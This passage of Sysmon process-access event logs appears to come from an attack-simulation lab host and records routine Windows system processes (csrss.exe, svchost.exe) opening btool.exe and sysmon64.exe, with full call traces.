C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.031","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-00101DCD0200}","TargetProcessId":"3832","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1817,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.031\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.031","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1818,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.031\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.031","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1819,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.031\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.031","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1820,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.031\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.031","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1821,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.031\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.031","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1822,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.031\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.031","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1823,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.031\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.031","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1824,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.031\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.031","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4